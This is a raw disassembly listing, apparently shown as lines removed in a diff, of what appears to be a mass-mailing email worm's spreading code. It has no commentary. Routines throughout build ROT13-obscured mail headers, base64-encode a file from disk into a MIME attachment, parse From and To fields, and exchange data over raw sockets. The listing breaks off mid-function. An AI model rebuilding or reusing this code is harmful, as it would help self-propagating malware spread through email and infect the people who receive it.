- loc_4A7316: ; CODE XREF: sub_4A7255+7Aj
- and byte ptr [esi+ebx], 0
- jmp short loc_4A7362
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A731C: ; CODE XREF: sub_4A7255+5Cj
- xor edi, edi
- mov ecx, esi
- inc edi
- lea eax, [ebp+var_30]
-
- loc_4A7324: ; CODE XREF: sub_4A7255+D8j
- add eax, 8
- add edi, ecx
- mov ecx, [eax]
- test ecx, ecx
- jnz short loc_4A7324
- call sub_4A4221
- movzx eax, ax
- cdq
- idiv edi
- xor ecx, ecx
- xor eax, eax
- inc ecx
-
- loc_4A733F: ; CODE XREF: sub_4A7255+F7j
- add ecx, esi
- cmp ecx, edx
- jge short loc_4A734E
- mov esi, [ebp+eax*8+var_28]
- inc eax
- test esi, esi
- jnz short loc_4A733F
-
- loc_4A734E: ; CODE XREF: sub_4A7255+EEj
- cmp [ebp+eax*8+var_30], 0
- jnz short loc_4A7357
- xor eax, eax
-
- loc_4A7357: ; CODE XREF: sub_4A7255+FEj
- push [ebp+eax*8+lpString2] ; lpString2
- push ebx ; lpString1
- call ds:lstrcpyA
-
- loc_4A7362: ; CODE XREF: sub_4A7255+C5j
- pop edi
- pop esi
- leave
- retn
- sub_4A7255 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A7366 proc near ; CODE XREF: sub_4A73CA+8Ap
- ; sub_4A73CA+D8p
-
- var_44 = byte ptr -44h
-
- push ebp
- mov ebp, esp
- sub esp, 44h
- push esi
- push edi
- push 10h
- mov esi, offset aAbcdefghijkl_1 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
- pop ecx
- lea edi, [ebp+var_44]
- repe movsd
- movzx ecx, byte ptr [eax]
- shr ecx, 2
- movsb
- mov cl, [ebp+ecx+var_44]
- pop edi
- mov [edx], cl
- mov cl, [eax]
- movzx esi, byte ptr [eax+1]
- and ecx, 3
- shl ecx, 4
- shr esi, 4
- or ecx, esi
- mov cl, [ebp+ecx+var_44]
- mov [edx+1], cl
- mov cl, [eax+1]
- movzx esi, byte ptr [eax+2]
- and ecx, 0Fh
- shl ecx, 2
- shr esi, 6
- or ecx, esi
- pop esi
- mov cl, [ebp+ecx+var_44]
- mov [edx+2], cl
- mov al, [eax+2]
- and eax, 3Fh
- mov al, [ebp+eax+var_44]
- mov [edx+3], al
- leave
- retn
- sub_4A7366 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A73CA proc near ; CODE XREF: sub_4A75FD+AEp
-
- Buffer = byte ptr -418h
- hObject = dword ptr -18h
- NumberOfBytesRead= dword ptr -14h
- var_10 = dword ptr -10h
- var_C = byte ptr -0Ch
- var_8 = byte ptr -8
- var_6 = byte ptr -6
- var_5 = byte ptr -5
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 418h
- push edi
- xor edi, edi
- push edi ; hTemplateFile
- push edi ; dwFlagsAndAttributes
- push 3 ; dwCreationDisposition
- push edi ; lpSecurityAttributes
- push 3 ; dwShareMode
- add eax, 2B7h
- push 80000000h ; dwDesiredAccess
- push eax ; lpFileName
- call ds:CreateFileA
- cmp eax, 0FFFFFFFFh
- mov [ebp+hObject], eax
- jnz short loc_4A73FE
- xor eax, eax
- inc eax
- jmp loc_4A74DA
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A73FE: ; CODE XREF: sub_4A73CA+2Aj
- push ebx
- push esi
- xor esi, esi
- mov [ebp+var_4], edi
- mov [ebp+NumberOfBytesRead], edi
- xor ebx, ebx
- mov [ebp+var_10], edi
-
- loc_4A740D: ; CODE XREF: sub_4A73CA+82j
- ; sub_4A73CA+C9j
- mov eax, [ebp+NumberOfBytesRead]
- cmp [ebp+var_4], eax
- jb short loc_4A7437
- lea eax, [ebp+NumberOfBytesRead]
- push edi ; lpOverlapped
- push eax ; lpNumberOfBytesRead
- lea eax, [ebp+Buffer]
- push 400h ; nNumberOfBytesToRead
- push eax ; lpBuffer
- push [ebp+hObject] ; hFile
- call ds:ReadFile
- cmp [ebp+NumberOfBytesRead], edi
- jz short loc_4A7498
- mov [ebp+var_4], edi
-
- loc_4A7437: ; CODE XREF: sub_4A73CA+49j
- mov eax, [ebp+var_4]
- inc esi
- inc [ebp+var_4]
- cmp esi, 3
- mov al, [ebp+eax+Buffer]
- mov byte ptr [ebp+esi+var_10+3], al
- jnz short loc_4A740D
- lea edx, [ebp+var_8]
- lea eax, [ebp+var_C]
- call sub_4A7366
- xor esi, esi
-
- loc_4A745B: ; CODE XREF: sub_4A73CA+B6j
- mov eax, [ebp+arg_0]
- mov cl, [ebp+esi+var_8]
- mov [ebx+eax], cl
- inc ebx
- inc [ebp+var_10]
- cmp [ebp+var_10], 4Ch
- jb short loc_4A747C
- mov byte ptr [ebx+eax], 0Dh
- inc ebx
- mov [ebp+var_10], edi
- mov byte ptr [ebx+eax], 0Ah
- inc ebx
-
- loc_4A747C: ; CODE XREF: sub_4A73CA+A3j
- inc esi
- cmp esi, 4
- jb short loc_4A745B
- push 3
- lea eax, [ebp+var_C]
- push edi
- push eax
- call memset
- add esp, 0Ch
- xor esi, esi
- jmp loc_4A740D
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7498: ; CODE XREF: sub_4A73CA+68j
- cmp esi, edi
- jz short loc_4A74C6
- lea edx, [ebp+var_8]
- lea eax, [ebp+var_C]
- call sub_4A7366
- cmp esi, 3
- jnb short loc_4A74B0
- mov [ebp+var_5], 3Dh
-
- loc_4A74B0: ; CODE XREF: sub_4A73CA+E0j
- cmp esi, 2
- jnb short loc_4A74B9
- mov [ebp+var_6], 3Dh
-
- loc_4A74B9: ; CODE XREF: sub_4A73CA+E9j
- mov eax, [ebp+arg_0]
- lea esi, [ebp+var_8]
- lea edi, [ebx+eax]
- add ebx, 4
- movsd
-
- loc_4A74C6: ; CODE XREF: sub_4A73CA+D0j
- mov eax, [ebp+arg_0]
- push [ebp+hObject] ; hObject
- and byte ptr [ebx+eax], 0
- call ds:CloseHandle
- pop esi
- xor eax, eax
- pop ebx
-
- loc_4A74DA: ; CODE XREF: sub_4A73CA+2Fj
- pop edi
- leave
- retn
- sub_4A73CA endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A74DD proc near ; CODE XREF: sub_4A76D2+AEp
-
- arglist = byte ptr -4
-
- push ecx
- push ebx
- push ebp
- mov ebx, eax
- push esi
- push edi
- mov esi, [ebx+440h]
- lea edi, [ebx+3C0h]
- mov dword ptr [esp+14h+arglist], edi
- call sub_4A4239
- push eax
- call sub_4A4239
- push eax
- call sub_4A4221
- movzx eax, ax
- push 0Fh
- cdq
- pop ecx
- idiv ecx
- push edx
- push 0
- push offset aNextpart ; "NextPart"
- push offset a_S__3u__4u__8x ; "----=_%s_%.3u_%.4u_%.8X.%.8X"
- push edi
- call ds:wsprintfA
- push offset aSebz ; "Sebz: "
- push esi
- call sub_4A465E
- mov ebp, ds:lstrcatA
- add esp, 24h
- lea eax, [ebx+4]
- push eax ; lpString2
- push esi ; lpString1
- call ebp ; lstrcatA
- mov edi, ds:lstrlenA
- push offset aGb ; "\r\nGb: "
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax
- call sub_4A465E
- pop ecx
- pop ecx
- push dword ptr [ebx] ; lpString2
- push esi ; lpString1
- call ebp ; lstrcatA
- push offset aFhowrpg ; "\r\nFhowrpg: "
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax
- call sub_4A465E
- pop ecx
- add ebx, 104h
- pop ecx
- push ebx ; lpString2
- push esi ; lpString1
- call ebp ; lstrcatA
- push offset aQngr ; "\r\nQngr: "
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax
- call sub_4A465E
- pop ecx
- pop ecx
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax ; int
- push 0 ; lpFileTime
- call sub_4A40B3
- pop ecx
- pop ecx
- push offset aZvzrIrefvba1_0 ; "\r\nZVZR-Irefvba: 1.0"
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax
- call sub_4A465E
- pop ecx
- pop ecx
- push offset aPbagragGlcrZhy ; "\r\nPbagrag-Glcr: zhygvcneg/zvkrq;\r\n"
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax
- call sub_4A465E
- push dword ptr [esp+1Ch+arglist] ; arglist
- push offset aBoundaryS ; LPCSTR
- push esi ; lpString
- call sub_4A45C4
- add esp, 14h
- push offset aKCevbevgl3 ; "\r\nK-Cevbevgl: 3"
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax
- call sub_4A465E
- pop ecx
- pop ecx
- push offset aKZfznvyCevbevg ; "\r\nK-ZFZnvy-Cevbevgl: Abezny"
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax
- call sub_4A465E
- pop ecx
- pop ecx
- push offset asc_4A35D4 ; lpString2
- push esi ; lpString1
- call ebp ; lstrcatA
- pop edi
- pop esi
- pop ebp
- pop ebx
- pop ecx
- retn
- sub_4A74DD endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A75FD proc near ; CODE XREF: sub_4A76D2+BAp
-
- var_210 = dword ptr -210h
- var_200 = byte ptr -200h
- arglist = byte ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 200h
- push ebx
- mov ebx, dword ptr [ebp+arglist]
- push esi
- push edi
- mov esi, [ebx+440h]
- mov edi, ds:lstrlenA
- push offset aGuvfVfNZhygvCn ; "Guvf vf n zhygv-cneg zrffntr va ZVZR sb"...
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax
- call sub_4A465E
- lea eax, [ebp+var_200]
- push offset aFPbagragGlcrGr ; "--%f\r\nPbagrag-Glcr: grkg/cynva;\r\n\tpunef"...
- push eax
- call sub_4A465E
- lea eax, [ebx+3C0h]
- push eax ; arglist
- lea eax, [ebp+var_200]
- push eax ; LPCSTR
- push esi ; lpString
- call sub_4A45C4
- add esp, 1Ch
- push esi ; lpString
- call edi ; lstrlenA
- push dword ptr [ebp+arglist] ; lpString2
- mov ebx, eax
- add ebx, esi
- call sub_4A7255
- mov [esp+210h+var_210], offset asc_4A374C ; "\r\n\r\n\r\n"
- push esi ; lpString1
- call ds:lstrcatA
- lea eax, [ebp+var_200]
- push offset aFPbagragGlcrNc ; "--%f\r\nPbagrag-Glcr: nccyvpngvba/bpgrg-f"...
- push eax
- call sub_4A465E
- mov ebx, dword ptr [ebp+arglist]
- lea eax, [ebx+1B7h]
- push eax
- push eax
- lea eax, [ebx+3C0h]
- mov dword ptr [ebp+arglist], eax
- push eax ; arglist
- lea eax, [ebp+var_200]
- push eax ; LPCSTR
- push esi ; lpString
- call sub_4A45C4
- add esp, 1Ch
- push esi ; lpString
- call edi ; lstrlenA
- add eax, esi
- push eax
- mov eax, ebx
- call sub_4A73CA
- test eax, eax
- pop ecx
- jz short loc_4A76BA
- xor eax, eax
- inc eax
- jmp short loc_4A76CD
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A76BA: ; CODE XREF: sub_4A75FD+B6j
- push dword ptr [ebp+arglist] ; arglist
- push offset aS ; LPCSTR
- push esi ; lpString
- call sub_4A45C4
- add esp, 0Ch
- xor eax, eax
-
- loc_4A76CD: ; CODE XREF: sub_4A75FD+BBj
- pop edi
- pop esi
- pop ebx
- leave
- retn
- sub_4A75FD endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- ; int __cdecl sub_4A76D2(LPCSTR lpString)
- sub_4A76D2 proc near ; CODE XREF: sub_4A5A7C+42p
-
- var_448 = dword ptr -448h
- var_292 = byte ptr -292h
- FileName = byte ptr -191h
- var_8C = dword ptr -8Ch
- hMem = dword ptr -8
- var_4 = dword ptr -4
- lpString = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 448h
- push ebx
- push esi
- mov esi, [ebp+lpString]
- xor ebx, ebx
- cmp esi, ebx
- jz loc_4A77B9
- push esi ; lpString
- call ds:lstrlenA
- cmp eax, 7
- jl loc_4A77B9
- push 448h
- lea eax, [ebp+var_448]
- push ebx
- push eax
- call memset
- lea eax, [ebp+var_448]
- mov [ebp+var_448], esi
- push eax
- call sub_4A6CDE
- add esp, 10h
- lea eax, [ebp+var_448]
- call sub_4A6D9F
- lea eax, [ebp+var_448]
- call sub_4A6ED6
- lea esi, [ebp+var_448]
- call sub_4A6FCD
- test eax, eax
- jnz short loc_4A77B9
- mov eax, [ebp+var_8C]
- push 3
- shl eax, 2
- cdq
- pop ecx
- idiv ecx
- mov ecx, 400h
- add eax, 239Fh
- cdq
- idiv ecx
- shl eax, 0Ah
- push eax ; dwBytes
- push 40h ; uFlags
- mov [ebp+var_4], eax
- call ds:GlobalAlloc
- cmp eax, ebx
- mov [ebp+hMem], eax
- jz short loc_4A7796
- mov [eax], bl
- lea eax, [ebp+var_448]
- call sub_4A74DD
- lea eax, [ebp+var_448]
- push eax
- call sub_4A75FD
- test eax, eax
- pop ecx
- jz short loc_4A77BD
-
- loc_4A7796: ; CODE XREF: sub_4A76D2+A4j
- cmp [ebp+var_292], bl
- jz short loc_4A77AB
- lea eax, [ebp+FileName]
- push eax ; lpFileName
- call ds:DeleteFileA
-
- loc_4A77AB: ; CODE XREF: sub_4A76D2+CAj
- cmp [ebp+hMem], ebx
- jz short loc_4A77B9
- push [ebp+hMem] ; hMem
- call ds:GlobalFree
-
- loc_4A77B9: ; CODE XREF: sub_4A76D2+12j
- ; sub_4A76D2+22j ...
- xor eax, eax
- jmp short loc_4A77D5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A77BD: ; CODE XREF: sub_4A76D2+C2j
- cmp [ebp+var_292], bl
- jz short loc_4A77D2
- lea eax, [ebp+FileName]
- push eax ; lpFileName
- call ds:DeleteFileA
-
- loc_4A77D2: ; CODE XREF: sub_4A76D2+F1j
- mov eax, [ebp+hMem]
-
- loc_4A77D5: ; CODE XREF: sub_4A76D2+E9j
- pop esi
- pop ebx
- leave
- retn
- sub_4A76D2 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A77D9 proc near ; CODE XREF: sub_4A7AAA+8Cp
-
- var_114 = dword ptr -114h
- var_110 = dword ptr -110h
- var_10 = dword ptr -10h
- var_C = dword ptr -0Ch
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
- arg_8 = dword ptr 10h
- arg_C = dword ptr 14h
-
- push ebp
- mov ebp, esp
- sub esp, 114h
- push ebx
- push esi
- xor esi, esi
- xor ebx, ebx
- inc esi
- push edi
- cmp [ebp+arg_8], esi
- mov [ebp+var_4], ebx
- jle short loc_4A7864
- mov edi, [ebp+arg_4]
- mov [ebp+var_8], esi
- sub [ebp+var_8], edi
-
- loc_4A77FB: ; CODE XREF: sub_4A77D9+89j
- mov eax, [ebp+arg_C]
- cmp eax, ebx
- jz short loc_4A783E
- mov ecx, [ebp+arg_0]
- xor edx, edx
- mov [ebp+var_110], ecx
- mov ecx, 3E8h
- div ecx
- mov [ebp+var_114], esi
- imul edx, 3E8h
- mov [ebp+var_10], eax
- lea eax, [ebp+var_10]
- push eax
- push ebx
- lea eax, [ebp+var_114]
- push ebx
- push eax
- push ebx
- mov [ebp+var_C], edx
- call ds:WS2_32_18
- test eax, eax
- jle short loc_4A7864
-
- loc_4A783E: ; CODE XREF: sub_4A77D9+27j
- push ebx
- push esi
- push edi
- push [ebp+arg_0]
- call ds:WS2_32_16
- cmp eax, ebx
- jl short loc_4A7872
- jz short loc_4A7864
- mov al, [edi]
- inc [ebp+var_4]
- inc edi
- cmp al, 0Ah
- jz short loc_4A7864
- mov eax, [ebp+var_8]
- add eax, edi
- cmp eax, [ebp+arg_8]
- jl short loc_4A77FB
-
- loc_4A7864: ; CODE XREF: sub_4A77D9+17j
- ; sub_4A77D9+63j ...
- mov ecx, [ebp+arg_4]
- mov eax, [ebp+var_4]
- mov [eax+ecx], bl
-
- loc_4A786D: ; CODE XREF: sub_4A77D9+9Cj
- pop edi
- pop esi
- pop ebx
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7872: ; CODE XREF: sub_4A77D9+73j
- or eax, 0FFFFFFFFh
- jmp short loc_4A786D
- sub_4A77D9 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A7877 proc near ; CODE XREF: sub_4A7DFD+DAp
- ; sub_4A7F4C+6Fp ...
- push esi
- push edi
- call ds:WS2_32_11
- mov esi, eax
- cmp esi, 0FFFFFFFFh
- jz short loc_4A788F
- test esi, esi
- jnz short loc_4A78A1
- cmp byte ptr [edi], 30h
- jz short loc_4A78A8
-
- loc_4A788F: ; CODE XREF: sub_4A7877+Dj
- push edi
- call ds:WS2_32_52
- test eax, eax
- jz short loc_4A78A1
- mov eax, [eax+0Ch]
- mov eax, [eax]
- mov esi, [eax]
-
- loc_4A78A1: ; CODE XREF: sub_4A7877+11j
- ; sub_4A7877+21j
- cmp esi, 0FFFFFFFFh
- jnz short loc_4A78A8
- xor esi, esi
-
- loc_4A78A8: ; CODE XREF: sub_4A7877+16j
- ; sub_4A7877+2Dj
- mov eax, esi
- pop esi
- retn
- sub_4A7877 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- ; int __cdecl sub_4A78AC(LPCSTR lpString2,int,int)
- sub_4A78AC proc near ; CODE XREF: sub_4A7B47+1Fp
- ; sub_4A7B47+3Bp ...
-
- var_102 = byte ptr -102h
- String1 = byte ptr -100h
- lpString2 = dword ptr 8
- arg_4 = dword ptr 0Ch
- arg_8 = dword ptr 10h
-
- push ebp
- mov ebp, esp
- sub esp, 100h
- push ebx
- push esi
- mov esi, eax
- xor eax, eax
- cmp esi, eax
- push edi
- jz loc_4A7A27
- cmp [ebp+lpString2], eax
- jz loc_4A7A27
- cmp [ebp+arg_4], eax
- jz loc_4A7A27
- cmp [ebp+arg_8], eax
- jle loc_4A7A27
-
- loc_4A78DF: ; CODE XREF: sub_4A78AC+46j
- mov al, [esi]
- cmp al, 0Dh
- jz short loc_4A78F1
- cmp al, 0Ah
- jz short loc_4A78F1
- cmp al, 20h
- jz short loc_4A78F1
- cmp al, 9
- jnz short loc_4A78F4
-
- loc_4A78F1: ; CODE XREF: sub_4A78AC+37j
- ; sub_4A78AC+3Bj ...
- inc esi
- jmp short loc_4A78DF
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A78F4: ; CODE XREF: sub_4A78AC+43j
- cmp byte ptr [esi], 0
- jz loc_4A7A27
- mov ebx, ds:lstrlenA
-
- loc_4A7903: ; CODE XREF: sub_4A78AC+175j
- xor ecx, ecx
-
- loc_4A7905: ; CODE XREF: sub_4A78AC+89j
- ; sub_4A78AC+99j
- mov al, [esi]
- inc esi
- test al, al
- jz short loc_4A794A
- cmp al, 3Ah
- jz short loc_4A7949
- cmp al, 0Dh
- jz short loc_4A7949
- cmp al, 0Ah
- jz short loc_4A7949
- cmp al, 9
- jnz short loc_4A791E
- add al, 17h
-
- loc_4A791E: ; CODE XREF: sub_4A78AC+6Ej
- test ecx, ecx
- jle short loc_4A7931
- cmp al, 20h
- jnz short loc_4A792F
- cmp [ebp+ecx-101h], al
- jz short loc_4A793F
-
- loc_4A792F: ; CODE XREF: sub_4A78AC+78j
- test ecx, ecx
-
- loc_4A7931: ; CODE XREF: sub_4A78AC+74j
- jnz short loc_4A7937
- cmp al, 20h
- jz short loc_4A7905
-
- loc_4A7937: ; CODE XREF: sub_4A78AC+85j
- mov [ebp+ecx+String1], al
- inc ecx
-
- loc_4A793F: ; CODE XREF: sub_4A78AC+81j
- cmp ecx, 0FFh
- jb short loc_4A7905
- jmp short loc_4A794A
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7949: ; CODE XREF: sub_4A78AC+62j
- ; sub_4A78AC+66j ...
- dec esi
-
- loc_4A794A: ; CODE XREF: sub_4A78AC+5Ej
- ; sub_4A78AC+9Bj
- and [ebp+ecx+String1], 0
- cmp byte ptr [esi], 0
- jz loc_4A7A27
- lea eax, [ebp+String1]
- lea edi, [ebp+String1]
- push eax ; lpString
- dec edi
- call ebx ; lstrlenA
- cmp byte ptr [eax+edi], 20h
- jnz short loc_4A797E
- lea eax, [ebp+String1]
- push eax ; lpString
- call ebx ; lstrlenA
- and byte ptr [eax+edi], 0
-
- loc_4A797E: ; CODE XREF: sub_4A78AC+C3j
- cmp [ebp+String1], 0
- jz loc_4A7A27
- cmp byte ptr [esi], 3Ah
- jnz short loc_4A79F1
- lea eax, [ebp+String1]
- push eax ; lpsz
- call ds:CharLowerA
- push [ebp+lpString2] ; lpString2
- lea eax, [ebp+String1]
- push eax ; lpString1
- call ds:lstrcmpiA
- test eax, eax
- jnz short loc_4A79F1
- inc esi
- mov al, [esi]
- cmp al, 20h
- jz short loc_4A79BC
- cmp al, 9
- jnz short loc_4A79BD
-
- loc_4A79BC: ; CODE XREF: sub_4A78AC+10Aj
- inc esi
-
- loc_4A79BD: ; CODE XREF: sub_4A78AC+10Ej
- mov edi, [ebp+arg_8]
- xor edx, edx
- dec edi
- test edi, edi
- jle short loc_4A79DD
-
- loc_4A79C7: ; CODE XREF: sub_4A78AC+12Fj
- mov al, [esi]
- inc esi
- cmp al, 0Dh
- jz short loc_4A7A2F
- cmp al, 0Ah
- jz short loc_4A7A2F
- mov ecx, [ebp+arg_4]
- mov [edx+ecx], al
- inc edx
-
- loc_4A79D9: ; CODE XREF: sub_4A78AC+1A7j
- cmp edx, edi
- jl short loc_4A79C7
-
- loc_4A79DD: ; CODE XREF: sub_4A78AC+119j
- ; sub_4A78AC+19Dj
- mov eax, [ebp+arg_4]
- and byte ptr [edx+eax], 0
- xor eax, eax
- jmp short loc_4A7A2A
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A79E8: ; CODE XREF: sub_4A78AC+149j
- cmp al, 0Dh
- jz short loc_4A79F7
- test al, al
- jz short loc_4A7A27
- inc esi
-
- loc_4A79F1: ; CODE XREF: sub_4A78AC+E2j
- ; sub_4A78AC+103j
- mov al, [esi]
- cmp al, 0Ah
- jnz short loc_4A79E8
-
- loc_4A79F7: ; CODE XREF: sub_4A78AC+13Ej
- mov al, [esi]
- test al, al
- jz short loc_4A7A27
- cmp al, 0Ah
- jnz short loc_4A7A09
- inc esi
- cmp byte ptr [esi], 0Dh
- jnz short loc_4A7A15
- jmp short loc_4A7A14
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7A09: ; CODE XREF: sub_4A78AC+153j
- cmp al, 0Dh
- jnz short loc_4A7A15
- inc esi
- mov al, [esi]
- cmp al, 0Ah
- jnz short loc_4A7A1B
-
- loc_4A7A14: ; CODE XREF: sub_4A78AC+15Bj
- inc esi
-
- loc_4A7A15: ; CODE XREF: sub_4A78AC+159j
- ; sub_4A78AC+15Fj
- mov al, [esi]
- cmp al, 0Ah
- jz short loc_4A7A27
-
- loc_4A7A1B: ; CODE XREF: sub_4A78AC+166j
- cmp al, 0Dh
- jz short loc_4A7A27
- test al, al
- jnz loc_4A7903
-
- loc_4A7A27: ; CODE XREF: sub_4A78AC+12j
- ; sub_4A78AC+1Bj ...
- xor eax, eax
- inc eax
-
- loc_4A7A2A: ; CODE XREF: sub_4A78AC+13Aj
- pop edi
- pop esi
- pop ebx
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7A2F: ; CODE XREF: sub_4A78AC+120j
- ; sub_4A78AC+124j
- mov eax, esi
- dec esi
-
- loc_4A7A32: ; CODE XREF: sub_4A78AC+193j
- mov cl, [eax]
- cmp cl, 0Ah
- jz short loc_4A7A3E
- cmp cl, 0Dh
- jnz short loc_4A7A41
-
- loc_4A7A3E: ; CODE XREF: sub_4A78AC+18Bj
- inc eax
- jmp short loc_4A7A32
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7A41: ; CODE XREF: sub_4A78AC+190j
- mov al, [eax]
- cmp al, 20h
- jz short loc_4A7A4B
- cmp al, 9
- jnz short loc_4A79DD
-
- loc_4A7A4B: ; CODE XREF: sub_4A78AC+199j
- ; sub_4A78AC+1AAj
- mov al, [esi]
- cmp al, 0Ah
- jz short loc_4A7A55
- cmp al, 0Dh
- jnz short loc_4A79D9
-
- loc_4A7A55: ; CODE XREF: sub_4A78AC+1A3j
- inc esi
- jmp short loc_4A7A4B
- sub_4A78AC endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A7A58 proc near ; CODE XREF: sub_4A7B47+BBp
-
- var_10C = dword ptr -10Ch
- var_108 = dword ptr -108h
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 10Ch
- xor edx, edx
- mov ecx, 3E8h
- div ecx
- lea ecx, [ebp+var_10C]
- mov [ebp+var_10C], 1
- mov [ebp+var_8], eax
- mov eax, [ebp+arg_0]
- imul edx, 3E8h
- mov [ebp+var_108], eax
- lea eax, [ebp+var_8]
- push eax
- xor eax, eax
- push eax
- push eax
- push ecx
- push eax
- mov [ebp+var_4], edx
- call ds:WS2_32_18
- xor ecx, ecx
- test eax, eax
- setle cl
- mov eax, ecx
- leave
- retn
- sub_4A7A58 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A7AAA proc near ; CODE XREF: sub_4A7B47+CCp
- ; sub_4A7B47+112p ...
-
- String = byte ptr -400h
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
- arg_8 = dword ptr 10h
- arglist = byte ptr 14h
-
- push ebp
- mov ebp, esp
- sub esp, 400h
- cmp [ebp+arg_8], 0
- jz short loc_4A7AED
- lea eax, [ebp+arglist]
- push eax ; arglist
- lea eax, [ebp+String]
- push [ebp+arg_8] ; LPCSTR
- push eax ; LPSTR
- call ds:wvsprintfA
- lea eax, [ebp+String]
- push 0
- push eax ; lpString
- call ds:lstrlenA
- push eax
- lea eax, [ebp+String]
- push eax
- push [ebp+arg_0]
- call ds:WS2_32_19
-
- loc_4A7AED: ; CODE XREF: sub_4A7AAA+Dj
- push esi
- mov esi, 400h
- jmp short loc_4A7B28
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7AF5: ; CODE XREF: sub_4A7AAA+96j
- lea ecx, [ebp+String]
- xor eax, eax
-
- loc_4A7AFD: ; CODE XREF: sub_4A7AAA+60j
- mov dl, [ecx]
- cmp dl, 20h
- jz short loc_4A7B09
- cmp dl, 9
- jnz short loc_4A7B1C
-
- loc_4A7B09: ; CODE XREF: sub_4A7AAA+58j
- inc ecx
- jmp short loc_4A7AFD
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A7B0C: ; CODE XREF: sub_4A7AAA+77j
- cmp dl, 39h
- jg short loc_4A7B23
- movsx edx, dl
- lea eax, [eax+eax*4]
- inc ecx
- lea eax, [edx+eax*2-30h]
-
- loc_4A7B1C: ; CODE XREF: sub_4A7AAA+5Dj
- mov dl, [ecx]
- cmp dl, 30h
- jge short loc_4A7B0C
-
- loc_4A7B23: ; CODE XREF: sub_4A7AAA+65j
- cmp byte ptr [ecx], 2Dh
- jnz short loc_4A7B44
-
- loc_4A7B28: ; CODE XREF: sub_4A7AAA+49j
- push [ebp+arg_4]
- lea eax, [ebp+String]
- push esi
- push eax
- push [ebp+arg_0]
- call sub_4A77D9
- add esp, 10h
- test eax, eax
- jg short loc_4A7AF5
- xor eax, eax
-
- loc_4A7B44: ; CODE XREF: sub_4A7AAA+7Cj
- pop esi
- leave
- retn
- sub_4A7AAA endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A7B47 proc near ; CODE XREF: sub_4A7DFD+FFp
- ; sub_4A7F4C+94p ...
-
- var_408 = dword ptr -408h
- String1 = byte ptr -308h
- var_208 = dword ptr -208h
- var_108 = byte ptr -108h
- var_8 = dword ptr -8
- var_4 = dword ptr -4
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
-
- push ebp
- mov ebp, esp
- sub esp, 408h
- push esi
- mov esi, 100h
- lea eax, [ebp+var_208]
- push esi ; int
- push eax ; int
- mov eax, [ebp+arg_4]
- push offset aFrom ; lpString2
- call sub_4A78AC
- add esp, 0Ch
- test eax, eax
- jnz short loc_4A7BAF
- lea eax, [ebp+var_408]
- push esi ; int
- push eax ; int
- mov eax, [ebp+arg_4]
- push offset aTo ; lpString2
- call sub_4A78AC
- add esp, 0Ch
- test eax, eax
- jnz short loc_4A7BAF
- mov cl, byte ptr [ebp+var_208]
- lea eax, [ebp+var_208]
- test cl, cl
- jz short loc_4A7BAF
-
- loc_4A7B9E: ; CODE XREF: sub_4A7B47+61j
- cmp cl, 40h
- jz short loc_4A7BAA
- inc eax
- mov cl, [eax]
- test cl, cl
- jnz short loc_4A7B9E
-
- loc_4A7BAA: ; CODE XREF: sub_4A7B47+5Aj
- cmp byte ptr [eax], 0
- jnz short loc_4A7BB7
-
- loc_4A7BAF: ; CODE XREF: sub_4A7B47+29j
- ; sub_4A7B47+45j ...
- xor eax, eax
- inc eax
- jmp loc_4A7DFA
- ; ───────────────────────────────────────────────────────────────────────────
-
